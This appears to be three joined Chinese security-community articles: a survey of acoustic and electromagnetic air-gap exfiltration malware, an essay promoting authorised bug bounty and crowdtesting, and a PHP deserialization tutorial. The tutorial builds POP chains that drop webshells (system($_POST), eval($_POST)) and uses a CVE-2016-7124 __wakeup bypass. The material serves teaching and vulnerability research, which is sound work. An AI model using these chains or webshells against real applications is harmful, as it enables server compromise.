首先，攻击者必须要在目标设备中安装好恶意软件，目标设备可以是打印机、办公电话或者电脑。因为Funtenna技术可以利用联网设备来传送声波数据，而这种声波是人耳无法听到的。恶意软件可以控制目标设备的电子电路，并使其以攻击者预先设定好的频率振动，这样就可以向外发送无线电信号了。接下来，攻击者就可以使用AM收音机的天线来接收这些信号了。但是距离不能间隔太远，否则信号的衰减可能会导致数据出现错误。
实际上，Funtenna技术是一种“硬件无关”的技术，而且窃听设备本身就是一个声波信号发射器。因此，Funtenna技术可以绕过目前所有传统的网络安全防护措施。
安全研究人员发布的攻击演示视频：
视频一：
视频二：
Red Balloon安全公司的首席研究员Ang
Cui表示：“尽管你有网络检测和防火墙等安全防护措施，但是通过这种方式来进行传输的数据是这些安全防护措施无法检测到的。这也就意味着，我们其实并不能完全确定自己的网络是否安全，我们仍然面临着巨大的挑战。”
**五、通过风扇噪声来窃取加密密钥**
是的，你没看错。来自以色列本古里安大学的安全研究人员开发出了一种名为“Fansmitter”的恶意软件，这款恶意软件可以通过风扇噪声来窃取数据。
这款恶意软件可以让电脑风扇以不同的转速旋转，并以此产生不同频率的噪音，然后利用这些噪声来窃取数据。
因为所有的计算机数据都是0和1的组合，所以Fansmitter可以控制电脑的风扇转速，并可以使其以两种不同的速度旋转，分别对应于二进制代码中的0和1。
Fansmitter可以控制CPU，GPU或机箱风扇，并在一至四米内有效。研究人员认为这是一个可靠的距离，可以让智能手机或专门的录音设备记录风扇噪音。Fansmitter攻击的缺点是数据传输的速度缓慢，在实验过程中，研究人员使用1000rpm代表“0”和1600rpm代表“1”，结果每分钟能够窃取的数据量只有3比特。通过使用4000rpm和4250rpm分别代表“0”和“1“的，每分钟能够窃取到的数据量可以达到15比特。
当然了，这种恶意软件也有它的局限性。研究人员表示，该恶意软件每分钟最高只能传送长度为15位的数据，但这对于发送密码和加密密钥而言已经足够了。通过这种方式来攻击计算机其实并不是很现实，但考虑到目前大多数计算机和电子设备都配备有散热风扇，所以从某种程度上来说，这类设备都存在遭到攻击的风险。
但是研究人员认为，我们仍然可以通过其他的方法来避免此类物理隔离系统受到此类攻击的影响。他们可以在计算机中使用水冷系统替代风扇。另外，他们也可以选择禁止在物理隔离设备附近使用手机。
**六、通过硬盘噪音来攻击物理隔离计算机**
与之前所介绍的攻击技术一样，这种攻击方式仍然需要涉及到恶意软件的使用。来自以色列本古里安大学Negev网络安全研究中心的研究人员已经找到了使用硬盘噪音来从物理隔离计算机中提取数据的方法了。
因此让我们先假设某人设法在目标设备上安装了这款名为“DiskFiltration”的恶意软件。该恶意软件的目标是在感染主机中搜寻密码、加密密钥、以及键盘输入数据。当找到所需的数据之后，恶意软件就会控制硬盘的读写臂，进行模拟的“查找”操作。于此同时，该软件还可以通过控制硬盘上驱动器机械臂的运动来产生特定的音频。
利用这种方法，攻击者就可以从那些受到严密安保系统保护的计算机中窃取数据了。但是目前这种技术的有效工作距离只有 6
英尺，传输速率为每分钟180比特，并且能够在二十五分钟内窃取 4096 位长度的密钥。
当今的许多硬盘都带有一种被称为自动声学管理 (Automatic Acoustic Management, AAM)
的特性，能够专门抑制这类的查找噪音，避免此类攻击。研究人员称其实验是基于AAM常开的条件之上进行的。
当这款恶意软件运行在智能手机或其它带有录音功能的设备附近时，它会对某一频段的音频信号进行监听，并且以每分钟读取180位数据的速度来解析音频信号中的二进制数据，其可支持的运作距离最大为两米。
当然了，用这个速度可没法下载电影，但对于窃取密码和密钥这样的数据而言，这已经足够了。不过这些技术也存在非常大的局限性，比如说，如果给电脑换上了非机械结构的固态硬盘，黑客就无法利用
DiskFiltration来窃取数据了。
**七、利用USBee来从物理隔离网络中提取数据**
早在2013年，美国国家安全局前雇员Edward
Snowden就曾公开向外界演示过如何通过一个改装过的USB设备窃取目标计算机中的数据。而就在近日，以色列的一家科技公司开发出了这一恶意软件的升级版，攻击者现在可以在不需要改装USB设备的情况下实现无线传输数据。
Mordechai Guri不仅是Ben-Gurion公司网络安全中心的负责人，而且他还是Morphisec终端安全公司的首席科学家。他的团队成功设计出了一种名为“USBee”的新型攻击技术，这种技术可以从物理隔离网络中提取数据。除了“USBee”之外，该团队还开发了许多类似的软件，包括可以把电脑的显卡变成一个FM信号发射器的AirHopper，可以利用热交换传输数据的BitWhisper，可以利用无线信号频率的GSMem，以及可以利用电脑风扇噪音传输数据的Fansmitter。
实际上，“USBee”是一个安装在目标计算机中的恶意软件，因为它就像是在不同花朵之间往返采集蜂蜜的蜜蜂一样，它可以在不同的电脑之间任意往返采集数据，因此得名“USBee”。
USBee技术可以通过电磁信号来完成数据的传输，并且使用GNU无线电接收设备和解调器来读取无线电信号。这也就意味着，即便是一台没有联网的计算机，如果感染了USBee的话，仍然是有可能泄漏机密数据的。
安全研究人员在报告论文中写到：“USBee这款应用程序只依靠软件就可以利用USB适配器的电磁辐射实现短距离数据提取，这和其他的方法是完全不同的，因为我们不需要给设备添加任何用于接受无线信号的硬件设备，我们可以直接使用USB的内部数据总线就可以实现信号地接收和读取。”
USBee几乎可以在任何符合USB
2.0标准的USB存储设备上运行。它的传输速率大约是每秒80个字节，更加形象地来说，它可以在十秒钟之内将一个4096位的密钥弄到手。在普通的U盘上，USBee的传输距离约为2.7米，而如果是带有线缆的USB设备，我们就可以将其电线作为接收信号的天线来使用了。这样一来，我们的攻击距离将可以扩大到8米左右。
USBee的工作原理是通过向USB设备发送一系列“0”来使USB发出频率在240至480MHz的电磁信号。通过精准地控制这些频率，电磁辐射可以被调制成信号传输器，并由附近的接收器读取并解调。值得注意的是，这种软件发射器不需要对USB设备做任何硬件方面的改动。
用于创建电磁载波的算法如下：
inline static void fill_buffer_freq
(u32 *buf, int size, double freq)
{
int i = 0;
u32 x = 0;
double t = freq / 4800 * 2;
for (i = 0, x = 0x00000000; i<size*8; i++)
{
x = x<<1;
if ((int)(i*t)%2==0)
x++;
if((i%32)==31)
{
*(buf++) = x;
x=0x00000000;
}
}
}
当然，USBee这样的恶意软件绝对是非常高端的攻击工具，一般只有国家级秘密间谍才会使用。正如2013年Snowden所展示的那样，美国国家安全局正在研究这些攻击方法。鉴于USBee的种种优点，我们绝对有理由相信NSA这样的国家安全机构已经掌握这种信息窃取技术了。
攻击演示视频: <https://yunpan.cn/cMNAIgppQmd9g> 访问密码 c00d
**总结**
这些攻击技术虽然在理论上是可行的，但在实际生活中想要使用的话，将会受到了很大的限制。因为就目前的情况来看，其中绝大多数攻击方法的实现前提是目标计算机必须感染恶意软件。如果面对的是一台没有接入网络的计算机，那么想要对其进行感染是非常困难的，一般只有通过物理访问才可以做到。可是如果可以实现物理访问的话，还不如直接从目标计算机中窃取数据来得方便。
想必大家也已经发现了，如果要最大程度地去保证一台计算机的安全，那么仅仅将网络通信断开是远远不够的，我们仍然还要部署大量严格的安全保护措施。而且在军事网络和工业控制系统这样的对安全要求极高的系统中，更加容不得半点的差错。
不幸的是，攻击者如果有足够的耐心，那么他迟早都会找到绕过这些安全保护措施的方法。所以在这个世界上，没有绝对安全的系统。
**参考资料**
1.<http://securityaffairs.co/wordpress/50245/hacking/diskfiltration-air-gapped-networks.html>
2.[http://securityaffairs.co/wordpress/35298/hacking/bitwhisper-air-gapped-pcs.html](http://securityaffairs.co/wordpress/35298/hacking/bitwhisper-air-gapped-pcs.html)
3.[http://securityaffairs.co/wordpress/38908/hacking/air-gapped-computer-hacking.html](http://securityaffairs.co/wordpress/38908/hacking/air-gapped-computer-hacking.html)
4.[http://securityaffairs.co/wordpress/48025/hacking/encryption-keys-exfiltration.html](http://securityaffairs.co/wordpress/48025/hacking/encryption-keys-exfiltration.html)
5.[http://securityaffairs.co/wordpress/48678/hacking/fansmitter-exfiltrating-data.html](http://securityaffairs.co/wordpress/48678/hacking/fansmitter-exfiltrating-data.html)
6.[http://securityaffairs.co/wordpress/39167/hacking/funtenna-hacking-technique.html](http://securityaffairs.co/wordpress/39167/hacking/funtenna-hacking-technique.html)
7.[http://securityaffairs.co/wordpress/37950/hacking/stealing-crypto-keys-radio-emissions.html](http://securityaffairs.co/wordpress/37950/hacking/stealing-crypto-keys-radio-emissions.html)
8.[https://www.rt.com/usa/311689-funtenna-hacking-sound-waves/](https://www.rt.com/usa/311689-funtenna-hacking-sound-waves/)
9.<http://cyber.bgu.ac.il/blog/bitwhisper-heat-air-gap>
10.[https://arxiv.org/abs/1608.03431](https://arxiv.org/abs/1608.03431)
11.[http://www.tau.ac.il/~tromer/radioexp/](http://www.tau.ac.il/~tromer/radioexp/)
12.[http://cacm.acm.org/magazines/2016/6/202646-physical-key-extraction-attacks-on-pcs/fulltext](http://cacm.acm.org/magazines/2016/6/202646-physical-key-extraction-attacks-on-pcs/fulltext)
13.[https://arxiv.org/ftp/arxiv/papers/1606/1606.05915.pdf](https://arxiv.org/ftp/arxiv/papers/1606/1606.05915.pdf)
14.[https://www.usenix.org/conference/usenixsecurity15/technical-sessions/presentation/guri](https://www.usenix.org/conference/usenixsecurity15/technical-sessions/presentation/guri)
15.[http://securityaffairs.co/wordpress/50811/hacking/usbee-air-gapped-networks.html](http://securityaffairs.co/wordpress/50811/hacking/usbee-air-gapped-networks.html)
16.[https://arxiv.org/ftp/arxiv/papers/1608/1608.08397.pdf](https://arxiv.org/ftp/arxiv/papers/1608/1608.08397.pdf) | 社区文章 |
**七月流火，九月授衣**
沉寂已久的安全圈因为最近一个事件波澜再起，坊间各种版本的“小道消息”更是满世界飞，安全同行奔走相告，有落井下石者，有击掌相庆者，有冷眼旁观者，也有疾呼声援者，正所谓天下熙熙皆为利来天下攘攘皆为利往，透过这个西洋镜我们看到的尽是世相百态和不古人心。
同行们相互打听谣言四起，而曾经在商业平台提交过漏洞的从业者更是人人自危夜不能寐，担心自家水表被查。再加上圈外一些媒体火上浇油的过度解读，唯恐天下不乱，目前来看该事件带来的后续影响对安全产业的发展来说并不是一件好事。
在四月底，笔者公开质疑国内漏洞披露方式的一篇小文《围炉夜话｜白帽子和路人甲，从0到1》（可在笔者公众号阅读：sunw3i）引来业界的轩然大波，甚至被人冠以诛心之论，笔者倒是从没觉得一篇文章就能打消万千少年投入到安全攻防领域的积极性，相反如果能够给少年们带来些许警示和启发，这倒是一件大大的好事，因为歪脖子树永远都长不成参天大树，所以杀人也好，诛心也罢，笔者的初衷只是希望能够说服那些游走在法律边缘的冒险者，不要以身试法充当炮灰，仅此而已。
墨菲定律真的存在，短短的90天，笔者的担忧便不幸成为了现实，从世纪佳缘案件的发酵再到某网站的暂时关停，各大商业漏洞报告平台已然是门可罗雀，人走茶凉。
诗经有云：七月流火，九月授衣。安全行业看似人气旺盛基业长青，实则暗流汹涌不堪重负，台风过境气温骤降，满目疮痍，戴帽子的少年们请各自珍重，记得撑伞添衣。
**春风依旧，人面何去**
笔者一直强调安全测试的合法性，主张基于客户授权来进行测试，授权的方式有很多种，甲方的SRC(Security Response Center)就是其中之一。
SRC的逻辑是少年你发现隔壁家院子围墙上有个洞，请不要四处声张也不要进来偷看闺女更衣，更不能偷走东西，只要你及时告诉管家，管家就会带着你去问账房先生领赏了。
然而不是所有甲方都有资源来投入自己的SRC，没有SRC但是有测试需求的企业咋办？请别忘了还有安全众测，当然这里说的众测并不是外界媒体自以为是的把漏洞提交给披露平台，众测是正儿八经获得甲方授权后受法律约束有范围有审计的测试活动。
情怀不能脱离法律和道德，也不是天生骄傲飞扬跋扈肆无忌惮。能力越大的人，若不加以约束并规范其行为，带来的破坏也就会越大。无论是规避法律风险，还是获得可观酬劳，抑或是满足个人情怀，从这三个角度来考虑和权衡，相信所有人都不会反对SRC和众测这两种模式要远远优于非法测试和野蛮披露。
当商业漏洞报告平台曲终人散后，数以万计的帽子少年们何去何从，春风依旧，人面何去？是从此江湖别过后会无期，还是认清现实重新出发？相信大多数少年还是会选择江湖再见，只是彼时的江湖有秩序有规则有红线有禁区，少年们也不会再被所谓的帽子和Rank所迷惑，或SRC或众测，只做对的，不做贵的。
而假以时日，偏安一隅的安全众测就如同野火肆虐后幸存下来的一粒种子，生根发芽，抽枝散叶，茁壮成长，高大的树冠为企业遮风挡雨，庇护着一方平安。
**守正出奇**
信息安全是一个守正的产业，同样是一个很脆弱的产业，正是因为信息安全的特殊性，外界对这个行业的任何风吹草动都会带着放大镜来进行查看和分析，并选择性放大其中的一些细节。
任何无视法律和规则的行为都会导致失控，最终害人害己，众多的反面案例使得安全产业被外界当笑话看，而且被误解成一个遍地牛鬼蛇神的破坏性产业，这对安全从业者和安全公司来说是极其不公平的，尤其是那些在努力争融资和辛苦拓展市场的初创公司，外界舆论的过度解读和媒体的煽风点火无异于乌鸦叫声，投资人和客户避之唯恐不及，想给钱或签单更是没有可能。
如此形象一旦被建立起来，对整个行业的打击是不言而喻的。
安全行业的任何个体都代表着行业整体的形象，平时在院子里关起来门来打打嘴炮没有关系，但是于大是大非面前玩小心机尔虞我诈就有点过了，不是所有的对手都是绊脚石，一起抱团做大产业才是所有从业者的责任和义务，本是同根生，相煎何太急。
那些一心一意要做娱乐圈网红的童鞋，烦请高抬贵手放过安全行业。
对于那些曾经犯错的少年和机构，有则改之，无则加勉，十年后回头再看，诸位可能都会付诸一笑。
**殊途同归**
话说回来，为什么笔者看好安全众测，因为众测正是现行法律框架下守正出奇的一个产物，始于授权而终于按效果付费，众测是再正常不过的商业行为，它能做到让测试者和企业相看两不厌。
今年3月份，美国国防部联合国际上最具影响力的众测平台HackerOne发布了一项奖金为15万美元的“五角大楼众测计划”，该众测计划在实施结束后，1400多名测试者提交了200多个漏洞，而美国国防部发言人称这是美国政府历史上第一次参与安全众测，该众测项目性价比非常高，国防部很满意该项目取得的成绩，这就是在遵循法律框架下的众测平台所体现的巨大价值，五角大楼项目算是众测发展历史上的一个里程碑，这也预示着规范的众测平台在市场中会走得更远。
另外众测模式在国际安全市场的发展也是如火如荼，像HackerOne、BugCrowd、CrowdCurity这些众测平台都有了一定市场规模和用户基础，同时众测平台由于其商业模式的成功而广受投资者追捧。像HackerOne在A轮获得900万美元投资、B轮获得2500万美元投资，领投都是顶尖投资机构，这足以证明资本和市场对众测平台的认可。
而纵观国内，漏洞盒子等众测平台的迅速发展也印证了市场给予安全众测模式的足够信心。上周，全球知名投资风向杂志《红鲱鱼》（Red
Herring）在马尼拉公布了2016年度“红鲱鱼亚洲100强”企业名单，漏洞盒子更是中国地区唯一入选的安全企业（产品）。
当然众测平台要保持良性运作也面临诸多挑战，如何来规范化漏洞测试和提交，如何保证测试者、平台和企业三者之间的透明化，众测平台如何对企业隐私进行有效保护等等，都是众测平台在发展过程中需要解决的问题。当然每个众测平台运作模式都有自己的独特性，不能一概而论，而且国际环境和国内也不一样，但归根结底，众测模式将广大的安全测试者与企业连接起来，为测试者提供法律保障和适当酬劳，在保证隐私的前提下为企业发现更多的安全漏洞，这是值得市场推崇的。
曾经有业内同行强调“漏洞披露是革新，革新意味着叛逆，甚至是违法。”但笔者个人并不这么认为，违法的“革新”还算是革新么？安全众测也是革新，但众测不但不违法，同时也避免了一将功成万骨枯的惨烈局面，并且会给企业带来巨大的价值。
那我们为什么不选择这种漏洞披露方式呢？而随着国家网络安全法的即将出台，网络运营部门也将承担起相应的法律责任，这是他们的压力也是市场的动力，而众测算是化解他们压力的商业行为，企业会不会欢迎，戴帽少年愿不愿意参与，想必大家都有答案了。
**尾**
每个人心中都有一个武侠梦，每个人心中同样都有一个世界和平的理想，若是为了世界和平的理想让侠客们告别江湖厮杀，想必大家都是愿意的。
江湖夜雨，桃李春风，各位珍重。 | 社区文章 |
# 【技术分享】PHP反序列化漏洞
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[Lucifaer@360攻防实验室](http://bobao.360.cn/member/contribute?uid=2789273957)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 序列化的作用**
**（反）序列化给我们传递对象提供了一种简单的方法。**
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
**反序列化的数据本质上来说是没有危害的**
**用户可控数据进行反序列化是存在危害的**
可以看到，反序列化的危害，关键还是在于可控或不可控。
**0x01 PHP序列化格式**
**1\. 基础格式**
boolean
b:;
b:1; // True
b:0; // False
integer
i:;
i:1; // 1
i:-3; // -3
double
d:;
d:1.2345600000000001; // 1.23456（php弱类型所造成的四舍五入现象）
NULL
N; //NULL
string
s::"";
s"INSOMNIA"; // "INSOMNIA"
array
a::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")
**2\. 序列化举例**
test.php
<?php
class test
{
private $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
我们来生成一下它的序列化字符串：
serialize.php
<?php
require "./test.php";
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);
代码不难懂，我们通过生成的序列化字符串，来细致的分析一下序列化的格式：
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
**3\. 注意**
这里有一个需要注意的地方，testflag明明是长度为8的字符串，为什么在序列化中显示其长度为10？
翻阅php官方文档我们可以找到答案：
对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。这些前缀值在任一侧都有空字节。
所以说，在我们需要传入该序列化字符串时，需要补齐两个空字节：
O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}
**4\. 反序列化示例**
unserialize.php
<?php
$filename = file_get_contents($filename);
$object = unserialize($filename);
var_dump($object->get_flag());
var_dump($object);
**0x02 PHP（反）序列化有关的魔法函数**
**construct(), destruct()**
构造函数与析构函数
**call(), callStatic()**
方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
**get(), set()**
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
**isset(), unset()**
__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。
**sleep(), wakeup()**
serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样，该函数在任何序列化之前执行。它可以清理对象，并且应该返回一个数组，其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容，则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外，如果您有非常大的对象，不需要完全保存，该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。如果存在，该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接，并执行其他重新初始化任务。
**__toString()**
__toString（）方法允许一个类决定如何处理像一个字符串时它将如何反应。
**__invoke()**
当脚本尝试将对象调用为函数时，调用__invoke()方法。
**__set_state()**
**__clone()**
**__debugInfo()**
**0x03 PHP反序列化与POP链**
就如前文所说，当反序列化参数可控时，可能会产生严重的安全威胁。
面向对象编程从一定程度上来说，就是完成类与类之间的调用。就像ROP一样，POP链起于一些小的“组件”，这些小“组件”可以调用其他的“组件”。在PHP中，“组件”就是这些魔术方法（__wakeup()或__destruct）。
一些对我们来说有用的POP链方法：
命令执行：
exec()
passthru()
popen()
system()
文件操作：
file_put_contents()
file_get_contents()
unlink()
**2\. POP链demo**
popdemo.php
<?php
class popdemo
{
private $data = "demon";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
上面的代码即完成了一个简单的POP链，若传入一个构造好的序列化字符串，则会完成写文件操作。
poc.php
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));
表面看上去，我们完美的执行了代码的功能，那么我们改一下序列化代码，看一看效果：
改为：
O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}
便执行了我们想要执行的效果：
**3\. Autoloading与（反）序列化威胁**
PHP只能unserialize()那些定义了的类
传统的PHP要求应用程序导入每个类中的所有类文件，这样就意味着每个PHP文件需要一列长长的include或require方法，而在当前主流的PHP框架中，都采用了Autoloading自动加载类来完成这样繁重的工作。
在完善简化了类之间调用的功能的同时，也为序列化漏洞造成了便捷。
举个例子：
目录结构为下：
index.php
<?php
class autoload
{
public static function load1($className)
{
if (is_file($className.'.php'))
{
require $className.'.php';
}
}
public static function load2($className)
{
if (is_file('./app/'.$className.'.php'))
{
require './app/'.$className.'.php';
}
}
public static function load3($className)
{
if (is_file('./lib/'.$className.'.php'))
{
require './lib/'.$className.'.php';
}
}
}
spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');
$test1 = new test1();
$test2 = new test2();
$test3 = new test3();
test1.php
<?php
class test1
{
private $test1_data = 'test1_data';
private $test1_filename = './test1_demo.txt';
public function __construct()
{
$this->save($this->test1_filename);
}
public function save($test1_filename)
{
file_put_contents($test1_filename, $this->test1_data);
}
}
其余的test2和test3和test1的内容类似。
运行一下index.php：
可以看到已经自动加载类会自动寻找已经注册在其队列中的类，并在其被实例化的时候，执行相关的操作。
若想了解更多关于自动加载类的资料，请查阅[spl_autoload_register](http://lucifaer.com/index.php/archives/17/)
**4\. Composer与Autoloading**
说到了Autoloader自动加载类，就不得不说一下Composer这个东西了。Composer是PHP用来管理依赖（dependency）关系的工具。你可以在自己的项目中声明所依赖的外部工具库（libraries），Composer
会帮你安装这些依赖的库文件。
经常搭建框架环境的同学应该对这个非常熟悉了，无论是搭建一个新的Laravel还是一个新的Symfony，安装步骤中总有一步是通过Composer来进行安装。
比如在安装Laravel的时候，执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境：
其中已经将环境所需的依赖库文件配置完毕，正是因为Composer与Autuoloading的有效结合，才构成了完整的POP数据流。
**0x04 反序列化漏洞的挖掘**
**1\. 概述**
通过上面对Composer的介绍，我们可以看出，Composer所拉取的依赖库文件是一个框架的基础。
而Composer默认是从Packagist来下载依赖库的。
所以我们挖掘漏洞的思路就可以从依赖库文件入手。
目前总结出来两种大的趋势，还有一种猜想：
1.从可能存在漏洞的依赖库文件入手
2.从应用的代码框架的逻辑上入手
3.从PHP语言本身漏洞入手
接下来逐个的介绍一下。
**2\. 依赖库**
以下这些依赖库，准确来说并不能说是依赖库的问题，只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。而引用这些依赖库的应用在引用时并没有完善的过滤，从而产生漏洞。
**cartalyst/sentry**
**cartalyst/sentinel**
寻找依赖库漏洞的方法，可以说是简单粗暴：
首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()
从最流行的库开始，跟进每个类，查看是否存在我们可以利用的组件（可被漏洞利用的操作）
手动验证，并构建POP链
利用易受攻击的方式部署应用程序和POP组件，通过自动加载类来生成poc及测试漏洞。
以下为一些存在可利用组件的依赖库：
**任意写**
monolog/monolog(<1.11.0)
guzzlehttp/guzzle
guzzle/guzzle
**任意删除**
swiftmailer/swiftmailer
**拒绝式服务(proc_terminate())**
symfony/process
下面来举一个老外已经说过的经典例子，来具体的说一下过程。
**例子**
**1\. 寻找可能存在漏洞的应用**
存在漏洞的应用：cartalyst/sentry
漏洞存在于：/src/Cartalyst/Sentry/Cookies/NativeCookie.php
...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}
应用使用的库中的可利用的POP组件：guzzlehttp/guzzle
寻找POP组件的最好方式，就是直接看composer.json文件，该文件中写明了应用需要使用的库。
{
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}
**2\. 寻找可以利用的POP组件**
我们下载guzzlehttp/guzzle这个依赖库，并使用grep来搜索一下__destruct()和__wakeup()
逐个看一下，在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件：
跟进看一下save方法：
存在一下代码，造成任意文件写操作：
if (false === file_put_contents($filename, $jsonStr))
注意到现在$filename可控，也就是文件名可控。同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的，且数组内容为$cookie->toArray()，也就是说如果我们可控$cookie->toArray()的值，我们就能控制文件内容。
如何找到$cookie呢？注意到前面
跟进父类，看到父类implements了CookieJarInterface
还有其中的toArray方法
很明显调用了其中的SetCookie的接口：
看一下目录结构：
所以定位到SetCookie.php：
可以看到，这里只是简单的返回了data数组的特定键值。
3\. 手动验证，并构建POP链
首先我们先在vm中写一个composer.json文件：
{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}
接下来安装Composer：
$ curl -sS https://getcomposer.org/installer | php
然后根据composer.json来安装依赖库：
$ php composer.phar install
接下来，我们根据上面的分析，来构造payload：
payload.php
<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttpCookieFileCookieJar;
use GuzzleHttpCookieSetCookie;
$obj = new FileCookieJar('./shell.php');
$payload = '<?php echo system($_POST['poc']);?>';
$obj->setCookie(new SetCookie([
'Name' => 'lucifaer',
'Value' => 'test_poc',
'Domain' => $paylaod,
'Expires' => time()
]));
file_put_contents('./build_poc', serialize($obj));
我们执行完该脚本，看一下生成的脚本的内容：
我们再写一个反序列化的demo脚本：
<?php
require __DIR__.'/vendor/autoload.php';
unserialize(file_get_contents("./build_poc"));
运行后，完成任意文件写操作。至此，我们可以利用生成的序列化攻击向量来进行测试。
**3\. PHP语言本身漏洞**
提到这一点就不得不说去年的[CVE-2016-7124](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7124)，同时具有代表性的漏洞即为[SugarCRM v6.5.23
PHP反序列化对象注入](http://bobao.360.cn/learning/detail/3020.html)。
在这里我们就不多赘述SugarCRM的这个漏洞，我们来聊一聊CVE-2016-7124这个漏洞。
触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要的概括为：当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
我们用一个demo来解释一下。
例子
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);
代码很简单，但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。
根据cve-2016-7124我们可以构造一下我们的poc：
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$a = new Test('shell');
$poc = serialize($a);
print($poc);
运行该脚本，我们就获得了我们poc
通上文所说道的，在这里需要改两个地方：
将1改为大于1的任何整数
将Testpoc改为%00Test%00poc
传入修改后的poc，即可看到：
写文件操作执行成功。
**0x05 拓展思路**
**1\. 抛砖引玉——魔法函数可能造成的威胁**
刚刚想到这一点的时候准备好好研究一下，没想到p师傅第二天小密圈就放出来这个话题了。接下来顺着这个思路，我们向下深挖一下。
**__toString()**
经过上面的总结，我们不难看出，PHP中反序列化导致的漏洞中，除了利用PHP本身的漏洞以外，我们通常会寻找__destruct、__wakeup、__toString等方法，看看这些方法中是否有可利用的代码。
而由于惯性思维，__toString常常被漏洞挖掘者忽略。其实，当反序列化后的对象被输出在模板中的时候（转换成字符串的时候），就可以触发相应的漏洞。
__toString触发条件：
**echo ($obj) / print($obj) 打印时会触发**
**字符串连接时**
**格式化字符串时**
**与字符串进行==比较时（PHP进行==比较的时候会转换参数类型）**
**格式化SQL语句，绑定参数时**
**数组中有字符串时**
我们来写一个demo看一下
toString_demo.php
<?php
class toString_demo
{
private $test1 = 'test1';
public function __construct($test)
{
$this->test1 = $test;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
print "__destruct:";
print $this->test1;
print "n";
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
print "__wakeup:";
$this->test1 = "wakeup";
print $this->test1."n";
}
public function __toString()
{
// TODO: Implement __toString() method.
print "__toString:";
$this->test1 = "tosTRING";
return $this->test1."n";
}
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "n".$a."n";
//print $b."n";
print $c;
执行结果为下：
通过上面的测试，可以总结以下几点：
**echo ($obj) / print($obj) 打印时会触发**
**__wakeup的优先级 >__toString>__destruct**
**每执行完一个魔法函数，**
接下来从两个方面继续来深入：
**字符串操作**
**魔术函数的优先级可能造成的变量覆盖**
**字符串操作**
字符串拼接：
在字符串与反序列化后的对象与字符串进行字符串拼接时，会触发__toString方法。
字符串函数：
经过测试，当反序列化后的最想在经过php字符串函数时，都会执行__toString方法，从这一点我们就可以看出，__toString所可能造成的安全隐患。
下面举几个常见的函数作为例子（所使用的类还是上面给出的toString_demo类）：
**数组操作**
将反序列化后的对象加入到数组中，并不会触发__toString方法：
但是在in_array()方法中，在数组中有__toString返回的字符串的时候__toString会被调用：
**class_exists**
从in_array()方法中，我们又有了拓展性的想法。我们都知道，在php底层，类似于in_array()这类函数，都属于先执行，之后返回判断结果。那么顺着这个想法，我想到了去年的[IPS
Community Suite <= 4.1.12.3 Autoloaded
PHP远程代码执行漏洞](http://paper.seebug.org/11/)，这个漏洞中有一个非常有意思的触发点，就是通过class_exists造成相关类的调用，从而触发漏洞。
